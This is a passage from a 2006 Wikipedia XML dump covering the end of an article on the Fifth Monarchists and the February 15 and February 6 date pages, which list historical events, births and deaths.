The arrest of Feake and Powell, two of the most violent of their number, was sufficient for a time to dampen their ardour, but many of the delegates to the [[Nominated Assembly|Nominated Assembly of Saints]], or as its detractors called the &quot;[[Barebones Parliament]]&quot; after one of the members [[Praise-God Barebones]], were from congregations with Fifth Monarchist sympathies. The assembly which met from July until December 1653, was the high water mark of Fifth Monarchist influence on national politics. Fearing their ultra-radical ideas, which crystallised in an attack on [[tithes]], the conservative faction led by Major-General [[John Lambert (General)|John Lambert]], supported by the use of troops to deny access to the radical factions, engineered a vote for the dissolution of the assembly, which was passed on [[December 12]], 1653. The collapse of the radical consensus which had spawned the Nominated Assembly led to the [[Grandee]]s passing the [[Instrument of Government]] in the [[English Council of State|Council of State]] which paved the way for Cromwell's [[The Protectorate|Protectorate]]. The Fifth Monarchist were horrified at the establishment of Cromwell's Protectorate and plotted to overthrow the regime.  Two plots were uncovered and broken up in [[1657]] and [[1659]].

==Restoration==

After the [[English Restoration|Restoration]] on [[October 14]], [[1660]] Major-General [[Thomas Harrison]] was the first person to be found guilty of the [[regicide]] of [[Charles I of England|Charles I]]. He had been [[List of regicides of Charles I#Commissioners|the seventeenth of fifty nine commissioners]] (judges) to sign the death warrant of the king in [[1649]]. He was the first regicide to be [[hanged, drawn and quartered]] because he was considered by the new government to still represent a real threat to the re-established order. This threat was realised when on [[January 6]], [[1661]], 50 Fifth Monarchists, headed by a wine-cooper named [[Thomas Venner]], made an effort to attain possession of London in the name of &quot;King Jesus.&quot;  Most of the fifty were either killed or taken prisoner, and on [[January 19]] and [[January 21|21]], Venner and ten others were hanged, drawn and quartered for high [[treason]].

The failure of Venner's Rising led to repressive legislation to suppress non-conformist sects.  Although some physical events such as the [[Great Plague]] and the [[Great Fire of London]] continued to encourage belief in &quot;the end of the world&quot; ruled by carnal human beings; the doctrine of the sect either died out, or became merged in a milder form of [[Millenarianism]].

==See also==
*[[Religion in the United Kingdom]]
*[[English Dissenters]]
*[[John Lilburne]]
*[[Gerrard Winstanley]] 

==External links==

* [http://www.exlibris.org/nonconform/engdis/fifthmonarchists.html Fifth Monarchists or Fifth Monarchy Men]
* [http://www.seventh-day-baptist.org.au/library/books/mumford.htm THE TIMES OF STEPHEN MUMFORD] See the sections on &quot;John James&quot;, &quot;Efforts at Conformity&quot; and &quot;Fifth Monarchy Views&quot;.

==Reference==
*''Fifth Monarchy Men: Study in Seventeenth Century English Millenarianism'' by Bernard Capp ISBN 057109791X

[[Category:Fifth Monarchists| ]]

[[sv:Femte monarkins män]]</text>
    </revision>
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    <title>Fluid Dynamics</title>
    <id>11019</id>
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      <id>27283018</id>
      <timestamp>2005-11-03T20:58:30Z</timestamp>
      <contributor>
        <ip>70.67.98.64</ip>
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      <text xml:space="preserve">#REDIRECT [[Fluid dynamics]]</text>
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  <page>
    <title>February 15</title>
    <id>11020</id>
    <revision>
      <id>41648496</id>
      <timestamp>2006-02-28T20:00:50Z</timestamp>
      <contributor>
        <username>DropDeadGorgias</username>
        <id>8903</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Davesilvan|Davesilvan]] ([[User talk:Davesilvan|talk]]) to last version by Zimbabweed</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
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|{{FebruaryCalendar}}
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|{{ThisDateInRecentYears|Month=February|Day=15}}
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'''February 15''' is the 46th day of the year in the [[Gregorian Calendar]]. There are 319 days remaining (320 in [[leap year]]s).
==Events==
*[[399 BC]] - The philosopher [[Socrates]] is sentenced to death.
*[[1637]] - [[Ferdinand III, Holy Roman Emperor|Ferdinand III]] becomes [[Holy Roman Emperor]].
*[[1764]] - The city of [[St. Louis, Missouri]] is established.
*[[1805]] - [[Harmony Society]] is officially formed.
*[[1852]] - [[Great_Ormond_Street_Hospital|Great Ormond St Hospital for Sick Children]], [[London]], admits its first patient.
*[[1862]] - [[American Civil War]]: [[General]] [[Ulysses S. Grant]] attacks [[Fort Donelson]], [[Tennessee]].
*[[1879]] - [[Women's rights]]: [[United States|American]] [[President of the United States|President]] [[Rutherford B. Hayes]] signs a bill allowing female [[lawyer|attorney]]s to argue cases before the [[Supreme Court of the United States]].
*[[1898]] - [[Spanish-American War]]: The [[USS Maine|USS ''Maine'']] explodes and sinks in [[Havana]] harbor in [[Cuba]], killing more than 260. This event leads the [[United States]] to declare war on [[Spain]].
*[[1903]] - [[Morris Michtom]] and his wife [[Rose]] introduce the first [[teddy bear]] in [[America]].
*[[1906]] - The [[Labour Party (UK)|British Labour Party]] is organized.
*[[1933]] - In [[Miami, Florida]], [[Giuseppe Zangara]] attempts to assassinate [[President of the United States|President]]-elect [[Franklin D. Roosevelt]], but instead shoots [[Chicago, Illinois]] [[Mayor]] [[Anton J. Cermak]], who dies of his wounds on [[March 6]], [[1933]]. 
*[[1942]] - [[World War II]]: The [[Fall of Singapore]]. Following an assault by [[Empire of Japan|Japan]]ese forces, the [[British]] [[General]] [[Arthur Percival]] surrenders. About 80,000 [[British Indian Army|Indian]], [[United Kingdom]] and [[Australia]]n soldiers become [[prisoners of war]], the largest surrender of [[British]]-led military personnel in history.
*[[1944]] - [[World War II]]: The assault on [[Monte Cassino]], [[Italy]] begins.
*[[1950]] - The [[Soviet Union]] and the [[People's Republic of China]] sign a mutual defense treaty.
*[[1952]] - [[King]] [[George VI]] is buried at [[St George's Chapel]] on his [[Windsor Castle]] estate.
*[[1953]] - Seventeen-year-old [[Tenley Albright]] becomes the first [[United States|American]] to win the world [[figure skating]] championship. 
*[[1961]] - Sabena Flight 548 crashes in [[Belgium]], killing 73, including the entire [[United States]] [[figure skating]] team and several coaches.
*[[1965]] - A new red-and-white [[maple]] leaf design is adopted as the [[flag of Canada]], replacing the old [[Canadian Red Ensign]] banner.
*[[1970]] - A [[Dominican]] [[DC-9]] crashes into the sea during takeoff from [[Santo Domingo]], killing 102.
*[[1971]] - [[Decimalisation]] of [[British coinage]] is completed on [[Decimal Day]].
*[[1971]] - [[Decimalisation]] of [[Irish coinage]] is completed on [[Decimal Day]].
*[[1980]] - [[Television One]] and [[Television Two]] (formerly [[South Pacific Television]]) under the newly formed [[Television New Zealand]] goes to air for the first time.
*[[1982]] - The [[drilling rig]] ''[[Ocean Ranger]]'' sinks during a storm off the coast of [[Newfoundland]], killing 84 rig workers.
*[[1989]] - [[Soviet Union invasion of Afghanistan]]: The [[Soviet Union]] officially announces that all of its troops had left [[Afghanistan]]. 
*[[1991]] - The [[Visegrád group|Visegrád Agreement]], establishing cooperation to move toward [[free market economy|free-market systems]], is signed by the leaders of [[Czechoslovakia]], [[Hungary]] and [[Poland]].
*[[1995]] - [[Criminal hacker|Hacking]]: [[Kevin Mitnick]] is arrested by the [[FBI]] and charged with breaking into some of the [[United States]]' most [[secure computing|&quot;secure&quot; computer systems]].
*[[1999]] - [[Abdullah Öcalan]], leader of the [[terrorism|terrorist]] organization [[Kurdistan Workers Party]], is arrested in [[Kenya]] by [[Turkey|Turkish]] agents.
*[[2000]] - [[Indian_Point_nuclear_power_plant|Indian Point]] II nuclear power plant in [[New York]] vents a small amount of radioactive steam when a steam generator fails.
*[[2002]] - At the [[Tri-State Crematory]] in [[La Fayette, Georgia]], investigators find that uncremated bodies disposed of in the woods and buildings on the crematorium's property. The discovery reveals one of the worst incidents of abuse in the [[funeral]] service industry.
*[[2003]] - [[Global]] [[February 15, 2003 anti-war protest|protests against the Iraq war]] occur in over 600 cities worldwide. Estimates from 8,000,000-30,000,000 make this the largest day of protest in history.
*[[2004]] - [[John Daly]] the [[PGA]] golfer, wins his first [[PGA TOUR]] event in 9 years by winning the [[Buick Invitational]] golf tournament on the first hole of a playoff in [[San Diego, California|San Diego]], [[California]].

==Births==
*[[1458]] - [[Ivan the Young]], Ruler of Tver (d. [[1490]])
*[[1471]] - [[Piero di Lorenzo de' Medici]], ruler of Florence (d. [[1503]])
*[[1543]] - [[Charles II, Duke of Lorraine]] (d. [[1608]])
*[[1564]] - [[Galileo Galilei]], Italian astronomer and physicist (d. [[1642]])
*[[1571]] - [[Michael Praetorius]], German composer (d. [[1621]])
*[[1620]] - [[François Charpentier]], French archaeologist (d. [[1702]])
*[[1705]] - [[Charles-André van Loo]], French painter (d. [[1765]])
*[[1710]] - King [[Louis XV of France]] (d. [[1774]])
*[[1723]] - [[John Witherspoon]], American signer of the Declaration of Independence (d. [[1794]])
*[[1725]] - [[Abraham Clark]], American signer of the Declaration of Independence (d. [[1794]])
*[[1739]] - [[ Alexandre-Théodore Brongniart]], French architect (d. [[1813]])
*[[1759]] - [[Friedrich August Wolf]], German philologist and archaeologist (d. [[1824]])
*[[1803]] - [[John Sutter]], California pioneer (d. [[1880]])
*[[1809]] - [[Cyrus McCormick]], American inventor (d. [[1884]])
*1809 - [[André Dumont]], Belgian geologist (d. [[1857]])
*[[1812]] - [[Charles Lewis Tiffany]], American jeweler (d. [[1902]])
*[[1815]] - [[Constantin von Tischendorf]], German Biblical scholar (d. [[1874]])
*[[1820]] - [[Susan B. Anthony]], American feminist and suffragist (d. [[1906]])
*[[1825]] - [[Carter Harrison, Sr.]], Mayor of Chicago (d. [[1893]])
*[[1835]] - [[Demetrius Vikelas]], Greek International Olympic Committee president (d. [[1908]])
*[[1841]] - [[Manoel Ferraz de Campos Salles]], President of Brazil (d. [[1913]])
*[[1845]] - [[Elihu Root]], American statesman and diplomat, recipient of the [[Nobel Peace Prize]] (d. [[1937]])
*[[1847]] - [[Robert Fuchs]], Austrian composer (d. [[1927]])
*[[1856]] - [[Emil Kraepelin]], German psychiatrist (d. [[1926]])
*[[1861]] - [[Charles Edouard Guillaume]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1938]])
*[[1873]] - [[Hans von Euler-Chelpin]], German-born chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1964]])
*[[1874]] - [[Sir Ernest Shackleton]], British polar explorer (d. [[1922]])
*[[1882]] - [[John Barrymore]], American actor (d. [[1942]])
*[[1883]] - [[Sax Rohmer]], English author (d. [[1959]])
*[[1892]] - [[James Forrestal]], first [[United States Secretary of Defense]] (d. [[1949]])
*[[1895]] - [[Earl Thomson]], Canadian athlete (d. [[1971]])
*[[1896]] - [[Arthur Shields]], Irish actor  (d. [[1970]])
*[[1898]] - [[Totò]], Italian actor, writer, and composer (d. [[1967]])
*1898 - [[Allen Woodring]], American runner (d. [[1982]])
*[[1899]] - [[Georges Auric]], French composer (d. [[1983]])
*1899 - [[Gale Sondergaard]], American actress (d. [[1985]])
*[[1905]] - [[Harold Arlen]], American composer (d. [[1986]])
*[[1907]] - [[Jean Langlais]], French composer and organist (d. [[1991]])
*1907 - [[Cesar Romero]], American actor (d. [[1994]])
*[[1909]] - [[Miep Gies]], Dutch biographer of [[Anne Frank]]
*1909 - [[Guillermo Gorostiza Paredes]], Spanish footballer (d. [[1966]])
*[[1913]] - [[Erich Eliskases]], Austrian/Argentine chess player (d. [[1997]])
*[[1914]]  - [[Hale Boggs]], American politician (d. [[1972]])
*1914 - [[Kevin McCarthy (actor)|Kevin McCarthy]], American actor
*[[1916]] - [[Mary Jane Croft]], American actress (d. [[1999]])
*[[1918]] - [[Allan Arbus]], American actor
*[[1919]] - [[Andreas Papandreou]], [[Prime Minister of Greece]] (d. [[1996]])
*[[1922]] - [[John Bayard Anderson]], US Congressman and presidential candidate
*[[1927]] - [[Harvey Korman]], American actor and comedian
*[[1929]] - [[Graham Hill]], British race car driver (d. [[1975]])
*1929 - [[James Schlesinger]], American politician
*[[1931]] - [[Claire Bloom]], British actress
*1931 - [[Geoff Edwards]], American television game show host
*[[1934]] - [[Niklaus Wirth]], Swiss computer scientist
*[[1935]] - [[Susan Brownmiller]], American feminist and writer
*1935 - [[Roger Chaffee]], astronaut (d. [[1967]])
*[[1939]] - [[Ole Ellefsæter]], Norwegian cross-country skier
*[[1940]] - [[John Hadl]], American football player
*[[1944]] - [[Mick Avory]], British drummer ([[The Kinks]])
*[[1945]] - [[John Helliwell]], British musician ([[Supertramp]])
*[[1946]] - [[Marisa Berenson]], American actress
*[[1947]] - [[John Coolidge Adams]], American composer
*[[1947]] - [[Rusty Hamer]], American actor (d. [[1990]])
*1947 - [[David Brown]], American musician ([[Carlos Santana]])
*[[1948]] - [[Ron Cey]], baseball player
*1948 - [[Art Spiegelman]], American cartoonist
*[[1949]] - [[Ken Anderson]], American football player
*[[1951]] - [[Melissa Manchester]], American singer
*1951 - [[Jane Seymour (actress)|Jane Seymour]], British actress
*[[1954]] - [[Matt Groening]], American cartoonist
*[[1955]] - [[Christopher McDonald]], American actor
*[[1959]] - [[Ali Campbell]], British vocalist/guitarist ([[UB40]])
*1959 - [[Brian Propp]], Canadian [[ice hockey]] player
*[[1960]] - [[Mikey Craig]], British musician ([[Culture Club]])
*[[1964]] - [[Chris Farley]], American actor and comedian (d. [[1997]])
*[[1971]] - [[Renee O'Connor|Renée O'Connor]], American actress and director
*[[1972]] - [[Jaromír Jágr]], Czech hockey player
*[[1973]] - [[Sarah Wynter]], Australian actress
*1973 - [[Kateřina Neumannová]], Czech cross country skier
*[[1974]] - [[Seattle Slew]], American racehorse (d. [[2002]])
*1974 - [[Ugueth Urbina]], Venezuelan [[Major League Baseball]] player
*[[1976]] - [[Brandon Boyd]], American musician ([[Incubus (band)|Incubus]])
*[[1978]] - [[Tuan Le]], American poker player
*[[1979]] - [[Alenka Kejžar]], Slovenian swimmer
*[[1980]] - [[Conor Oberst]], American singer and songwriter ([[Bright Eyes]])
*[[1983]] - [[Meera Jasmine]], National-Award-winning Indian actress
*[[1984]] - [[Dorota Rabczewska]], Polish singer ([[Virgin (band)|Virgin]])

&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1145]] - [[Pope Lucius II]]
*[[1621]] - [[Michael Praetorius]], German composer (b. [[1571]])
*[[1637]] - [[Ferdinand II, Holy Roman Emperor]] (b. [[1578]])
*[[1738]] - [[Matthias Braun]], Czech sculptor (b. [[1684]])
*[[1775]] - [[Peter Dens]], Belgian Catholic theologian (b. [[1690]])
*[[1781]] - [[Gotthold Ephraim Lessing]], German author and philosopher (b. [[1729]])
*[[1818]] - [[Friedrich Ludwig, Fürst zu Hohenlohe-Ingelfingen]], Prussian general (b. [[1746]])
*[[1835]] - [[Henry Hunt (politician)|Henry Hunt]], British politician (b. [[1773]])
*[[1847]] - [[Germinal Pierre Dandelin]], Belgian mathematician (b. [[1794]])
*[[1848]] - [[Hermann von Boyen]], Prussian field marshal (b. [[1771]])
*[[1849]] - [[Pierre François Verhulst]], Belgian mathematician (b. [[1804]])
*[[1857]] - [[Mikhail Glinka]], Russian composer (b. [[1804]])
*[[1932]] - [[Minnie Maddern Fiske]], Broadway actress (b. [[1865]])
*[[1959]] - [[Owen Willans Richardson]], British physicist, [[Nobel Prize]] laureate (b. [[1879]])
*[[1964]] - [[Robert L. Thornton]], American businessman, philanthropist, and Mayor of Dallas, Texas (b. [[1880]])
*[[1965]] - [[Nat King Cole]], American singer and musician (b. [[1919]])
*[[1966]] - [[Gerard Antoni Ciołek|Gerard Ciołek]],  Polish architect and historian of gardens (b. [[1909]])
*[[1973]] - [[Wally Cox]], American actor (b. [[1924]])
*1973 - [[Tim Holt]], American actor (b. [[1919]])
*[[1974]] - [[Kurt Atterberg]], Swedish composer (b. [[1887]])
*[[1981]] - [[Mike Bloomfield]], American musician (b. [[1944]])
*1981 - [[Karl Richter]], German conductor (b. [[1926]])
*[[1984]] - [[Ethel Merman]], American singer and actress (b. [[1908]])
*[[1988]] - [[Richard Feynman]], 10:34 p.m. at UCLA Medical Center, American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1918]].)  
*[[1996]] - [[Tommy Rettig]], American actor (b. [[1941]])
*1996 - [[McLean Stevenson]], American actor (b. [[1929]])
*[[1999]] - [[Big L (rapper)|Big L (Lamont Coleman)]], American rapper (b. [[1974]])
*1999 - [[Henry Way Kendall]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1926]])
*[[2002]] - [[Howard K. Smith]], American journalist (b. [[1914]]) 
*2002 - [[Kevin Smith (actor)|Kevin Smith]], New Zealand actor (b. [[1963]])
*[[2004]] - [[Jens Evensen]], Norwegian minister and International Court of Justice judge (b. [[1917]])
*2004 - [[Jan Miner]], American actress (b. [[1917]])
*[[2005]] - [[Samuel Francis]], American journalist (b. [[1947]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Candlemas]] in [[Russia]] and other [[Eastern Orthodox]] countries
*[[Flag of Canada|Flag Day]] in [[Canada]]
*[[National Day]] in [[Serbia]]
*[[John Frum|John Frum Day]] in [[Vanuatu]] [http://www.smithsonianmagazine.com/issues/2006/february/john.php]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/15 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060215.html NY Times: On this day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=15 On this day in Canada]

----

[[February 14]] - [[February 16]] - [[January 15]] - [[March 15]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[af:15 Februarie]]
[[ar:15 فبراير]]
[[an:15 de frebero]]
[[ast:15 de febreru]]
[[bg:15 февруари]]
[[be:15 лютага]]
[[bs:15. februar]]
[[ca:15 de febrer]]
[[ceb:Pebrero 15]]
[[cv:Нарăс, 15]]
[[co:15 di frivaghju]]
[[cs:15. únor]]
[[cy:15 Chwefror]]
[[da:15. februar]]
[[de:15. Februar]]
[[et:15. veebruar]]
[[el:15 Φεβρουαρίου]]
[[es:15 de febrero]]
[[eo:15-a de februaro]]
[[eu:Otsailaren 15]]
[[fo:15. februar]]
[[fr:15 février]]
[[fy:15 febrewaris]]
[[ga:15 Feabhra]]
[[gl:15 de febreiro]]
[[ko:2월 15일]]
[[hr:15. veljače]]
[[io:15 di februaro]]
[[id:15 Februari]]
[[ia:15 de februario]]
[[is:15. febrúar]]
[[it:15 febbraio]]
[[he:15 בפברואר]]
[[jv:15 Februari]]
[[ka:15 თებერვალი]]
[[csb:15 gromicznika]]
[[ku:15'ê reşemiyê]]
[[lt:Vasario 15]]
[[lb:15. Februar]]
[[hu:Február 15]]
[[mk:15 февруари]]
[[ms:15 Februari]]
[[nap:15 'e frevaro]]
[[nl:15 februari]]
[[ja:2月15日]]
[[no:15. februar]]
[[nn:15. februar]]
[[oc:15 de febrièr]]
[[os:15 февралы]]
[[pl:15 lutego]]
[[pt:15 de Fevereiro]]
[[ro:15 februarie]]
[[ru:15 февраля]]
[[se:Guovvamánu 15.]]
[[sco:15 Februar]]
[[sq:15 Shkurt]]
[[scn:15 di frivaru]]
[[simple:February 15]]
[[sk:15. február]]
[[sl:15. februar]]
[[sr:15. фебруар]]
[[fi:15. helmikuuta]]
[[sv:15 februari]]
[[tl:Pebrero 15]]
[[tt:15. Febräl]]
[[te:ఫిబ్రవరి 15]]
[[th:15 กุมภาพันธ์]]
[[vi:15 tháng 2]]
[[tr:15 Şubat]]
[[uk:15 лютого]]
[[wa:15 di fevrî]]
[[war:Pebrero 15]]
[[zh:2月15日]]
[[pam:Pebreru 15]]</text>
    </revision>
  </page>
  <page>
    <title>February 6</title>
    <id>11021</id>
    <revision>
      <id>41738040</id>
      <timestamp>2006-03-01T11:27:38Z</timestamp>
      <contributor>
        <ip>83.50.37.83</ip>
      </contributor>
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'''[[February 6]]''' is the 37th day of the year in the [[Gregorian Calendar]]. There are 328 days remaining, 329 in [[leap year]]s.
==Events==
*[[337]] - [[Pope Julius I|Julius I]] is elected [[pope]]. 
*[[1778]] - [[American Revolutionary War]]: In [[Paris]] the [[Treaty of Alliance]] and the [[Treaty of Amity and Commerce]] are signed by the [[United States]] and [[France]] signaling official recognition of the new republic.  
*[[1788]] - [[Massachusetts]] becomes the sixth state to ratify the [[United States Constitution]].
*[[1806]] - [[Royal Navy]] victory off [[Santo Domingo]]  - [[Action of 6 February 1806]].
*[[1815]] - [[New Jersey]] grants the first [[United States|American]] [[railroad]] charter to a [[John Stevens (inventor)|John Stevens]].
*[[1819]] - Sir [[Thomas Stamford Raffles]] founds [[Singapore]].
*[[1820]] - The first 86 [[African American]] [[immigrant]]s sponsored by the [[American Colonization Society]] started a [[settlement]] in present-day [[History of Liberia|Liberia]].
*[[1840]] - Signing of the [[Treaty of Waitangi]], founding document of [[New Zealand]].
*[[1843]] - The first [[minstrel]] show in the [[United States]] The [[Virginia Minstrels]] opens ([[Bowery Amphitheatre]] in [[New York City]]).
*[[1862]] - [[American Civil War]]: [[Ulysses S. Grant]] gives the [[United States]] its first victory of the war, by capturing [[Fort Henry, Tennessee]], known as the [[Battle of Fort Henry]].
*[[1899]] - [[Spanish-American War]]: The [[Treaty of Paris (1898)]], a [[peace treaty]] between the [[United States]] and [[Spain]] is ratified by the [[United States Senate]].
*[[1900]] - The international arbitration court at [[The Hague]] is created when the [[Netherlands]]' [[Senate]] ratifies an [[1899]] [[peace conference]] decree.  
*[[1922]] - [[Achille Ratti]] becomes [[Pope Pius XI]].
*1922 - The [[Washington Naval Treaty]] was signed in [[Washington, DC]], limiting the [[navy|naval armaments]] of [[United States]], [[British Empire|Britain]], [[Japan]], [[France]], and [[Italy]].
*[[1933]] - The [[Twentieth Amendment to the United States Constitution|20th Amendment to the United States Constitution]] goes into effect.
*[[1934]] - [[France|French]] [[far right]] rally in front of the [[Palais Bourbon]], an attempted [[coup d'état|coup]] against the [[French Third Republic|Third Republic]].
*[[1936]] - [[1936 Winter Olympic Games]] open in [[Garmisch-Partenkirchen]], [[Germany]].
*[[1951]] - ''[[The Broker (passenger train)|The Broker]]'', a [[Pennsylvania Railroad]] passenger train derails near [[Woodbridge Township, New Jersey]]. The accident kills 85 people and injures over 500 more.  The wreck is one of the worst rail disasters in American history.
*[[1952]] - [[Elizabeth II of the United Kingdom|Elizabeth II]] becomes [[British monarchy|Queen]] upon the death of her father [[George VI of the United Kingdom|George VI]]. At the exact moment of [[succession]], she was in a [[treehouse]] at the [[Treetops Hotel]] in [[Kenya]].
*[[1958]] - [[Bobby Charlton]] survived the [[Munich air disaster]] in [[Germany]], which killed eight of his teammates with [[Manchester United F.C.]].
*[[1959]] - [[Jack Kilby]] of [[Texas Instruments]] filed the first [[patent]] for an [[integrated circuit]]. 
*1959 - At [[Cape Canaveral]], [[Florida]], the first successful test firing of a [[Titan intercontinental ballistic missile]] is accomplished.
*[[1968]] - [[1968 Winter Olympic Games]] open in [[Grenoble]], [[France]].
*[[1978]] - The [[Blizzard of 1978]], one of the worst [[Nor'easter]]s in [[New England]] history, hit the region, with sustained winds of 65 mph and snowfall of 4&quot; an hour.
*[[1985]] - [[Steve Wozniak]] leaves [[Apple Computer]].
*[[1996]] - A [[Turkish Airlines]] [[Boeing 757]] crashes into the [[Atlantic Ocean]], off the coast of [[Dominican Republic]] killing 189.
*[[1998]] - [[Washington National Airport]] is renamed [[Ronald Reagan National Airport]].
*[[2004]] - In [[Russia]], a suicide-attack in a [[Moscow]] metro kills 40 commuters, and injures a hundred and twenty-nine. The blast is blamed on [[Chechen]] separatist groups.
*[[2005]] - [[Super Bowl XXXIX]]: The [[New England Patriots]] win their third title in four years by defeating the [[Philadelphia Eagles]] 24-21.
*2005 - [[Jerrick De Leon]], born 13 weeks premature, becomes the world's smallest infant to survive an open-heart procedure called an [[arterial switch]].
*[[2006]] - The [[Conservative Party of Canada]] becomes a minority [[Government of Canada|government]] in Canada's Parliament, replacing the [[Liberal Party of Canada|Liberals]] after 13 years in power.

==Births==
*[[1564]] - [[Christopher Marlowe]], English playwright (d. [[1593]])
*[[1577]] - [[Beatrice Cenci]], Italian noblewoman who conspired to kill her father (d. [[1599]])
*[[1608]] - [[Antonio Vieira]], Portuguese writer (d. [[1697]])
*[[1611]] - [[Chongzhen]], Emperor of China (d. [[1644]])
*[[1639]] - [[Daniel Georg Morhof]], German writer and scholar (d. [[1691]])
*[[1664]] - [[Mustafa II]], [[Ottoman Sultan]] (d, [[1703]])
*[[1665]] - [[Queen Anne of England]] (d. [[1714]])
*[[1695]] - [[Nicolaus II Bernoulli]], Swiss mathematician (d. [[1726]])
*[[1744]] - [[Pierre-Joseph Desault]], French anatomist and surgeon (d. [[1795]])
*[[1748]] - [[Adam Weishaupt]], founder of the Bavarian Illuminati (d. [[1811]])
*[[1756]] - [[Aaron Burr]], [[Vice President of the United States]] (d. [[1836]])
*[[1833]] - [[James Ewell Brown Stuart]], American Confederate general (d. [[1864]])
*[[1834]] - [[Ema Puksec]], Croatian singer (d. [[1889]])
*[[1838]] - [[Yisrael Meir Kagan]], Chafetz Chayim (d. [[1933]]) 
*[[1853]] - [[Ignacij Klemenčič]], Slovenian physicist (d. [[1901]])
*[[1887]] - [[Josef Frings]], German Archbishop of Cologne (d. [[1978]])
*[[1892]] - [[William Murphy (scientist)|William Parry Murphy]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1987]])
*[[1894]] - [[Eric Partridge]], New Zealand lexicographer (d. [[1979]])
*[[1895]] - [[Babe Ruth]], baseball player (d. [[1948]])
*[[1901]] - [[Ben Lyon]], American actor (d. [[1979]])
*[[1902]] - [[George Brunies]], American musician (d. [[1974]])
*[[1903]] - [[Claudio Arrau]], Chilean-born pianist (d. [[1991]])
*[[1905]] - [[Władysław Gomułka]], Polish leader (d. [[1982]])
*[[1910]] - [[Irmgard Keun]], German author (d. [[1982]])
*[[1910]] - [[Carlos Marcello]], Tunisian-born gangster (d. [[1993]])
*[[1911]] - [[Ronald Reagan]], 40th [[President of the United States]] (d. [[2004]])
*[[1912]] - [[Eva Braun]], German mistress of [[Adolf Hitler]] (d. [[1945]])
*[[1913]] - [[Mary Leakey]], British anthropologist (d. [[1996]])
*[[1914]] - [[Thurl Ravenscroft]], American voice actor (d. [[2005]])
*[[1917]] - [[Zsa Zsa Gabor]], Hungarian actress
*[[1918]] - [[Lothar-Günther Buchheim]], German author
*[[1922]] - [[Bill Johnston (cricketer)|Bill Johnston]], Australian cricketer
*[[1922]] - [[Patrick Macnee]], British actor
*[[1922]] - [[Denis Norden]], British television abd radio personality and scriptwriter
*[[1926]] - [[Bob Trow]], American actor (''[[Mister Rogers' Neighborhood]]'') (d. [[1998]])
*[[1926]] - [[Haskell Wexler]], American cinematographer
*[[1929]] - [[Pierre Brice]], French actor
*[[1931]] - [[Rip Torn]], American actor and director
*[[1931]] - [[Mamie Van Doren]], American actress
*[[1932]] - [[Camilo Cienfuegos]], Cuban revolutionary (d. [[1959]])
*[[1932]] - [[François Truffaut]], French film director (d. [[1984]])
*[[1939]] - [[Mike Farrell]], American actor
*[[1939]] - [[Orlando Parga]], Vice President of the [[Senate of Puerto Rico|Puerto Rico Senate]]
*[[1940]] - [[Tom Brokaw]], American news anchorman
*[[1942]] - [[Sarah Brady]], American gun-control activist
*[[1943]] - [[Fabian (entertainer)|Fabian]], American singer
*[[1943]] - [[Gayle Hunnicutt]], American actress
*[[1944]] - [[Michael Tucker (actor)|Michael Tucker]], American actor
*[[1945]] - [[Bob Marley]], Jamaican singer and musician (d. [[1981]])
*[[1946]] - [[Jim Turner (Congressman)|Jim Turner]], American politician
*[[1949]] - [[Jim Sheridan]], Irish film director
*[[1950]] - [[Natalie Cole]], American singer
*[[1951]] - [[Marco Antonio]], Brazilian footballer
*[[1954]] - [[Argusto Emfazie]], American occultist and author
*[[1957]] - [[Kathy Najimy]], American actress and comedian
*[[1957]] - [[Robert Townsend]], American comedian, actor, director, and producer
*[[1958]] - [[Barry Miller (actor)|Barry Miller]], American actor
*[[1960]] - [[Megan Gallagher]], American actress
*[[1962]] - [[Axl Rose]], American singer ([[Guns N' Roses]])
*[[1966]] - [[Rick Astley]], British singer
*[[1972]] - [[David Binn]], American football player
*[[1975]] - [[Svend-Allan Sørensen]], Danish artist
*[[1975]] - [[Tomoko Kawase]], Japanese singer/songwriter, better known as '''Tommy February6'''
*[[1976]] - [[Kim Zmeskal]], American gymnast
*[[1983]] - [[Myron Wolf Child]], Politican &amp; Author
*[[1984]] - [[Darren Bent]], English footballer
*[[1991]] - [[Kara Borden]], American Causes Celebre

==Deaths==
*[[891]] - [[Photius]], Patriarch of Constantinople
*[[1378]] - [[Jeanne de Bourbon]], queen of [[Charles V of France]] (b. [[1338]])
*[[1497]] - [[Johannes Ockeghem]], Flemish composer
*[[1515]] - [[Aldus Manutius]], Italian printer
*[[1585]] - [[Edmund Plowden]], English legal scholar (b. [[1518]])
*[[1593]] - [[Jacques Amyot]], French writer (b. [[1513]])
*[[1593]] - [[Emperor Ogimachi of Japan]] (b. [[1517]])
*[[1617]] - [[Prospero Alpini]], Italian scientist (b. [[1553]])
*[[1685]] - King [[Charles II of England]] (b. [[1630]])
*[[1740]] - [[Pope Clement XII]] (b. [[1652]])
*[[1775]] - [[William Dowdeswell]], English politician (b. [[1721]])
*[[1783]] - [[Capability Brown]], English landscape gardener (b. [[1716]])
*[[1793]] - [[Carlo Goldoni]], Italian playwright (b. [[1707]])
*[[1816]] - [[Maria Ludwika Rzewuska]], Polish szlachcianka (b. [[1744]])
*[[1833]] - [[Pierre André Latreille]], French entomologist (b. [[1762]])
*[[1834]] - [[Richard Lemon Lander]], British explorer (d. [[1804]])
*[[1855]] - [[Josef Munzinger]], Swiss Federal Councilor (b. [[1791]])
*[[1916]] - [[Rubén Darío]], Nicaraguan writer (b. [[1867]])
*[[1918]] - [[Gustav Klimt]], Austrian painter (b. [[1862]])
*[[1950]] - [[Georges Imbert]], Alsatian chemist (b. [[1884]])
*[[1952]] - King [[George VI of the United Kingdom]] (b. [[1895]])
*[[1960]] - [[Jesse Belvin]], American singer, wrote &quot;Earth Angel&quot; (b. [[1932]])
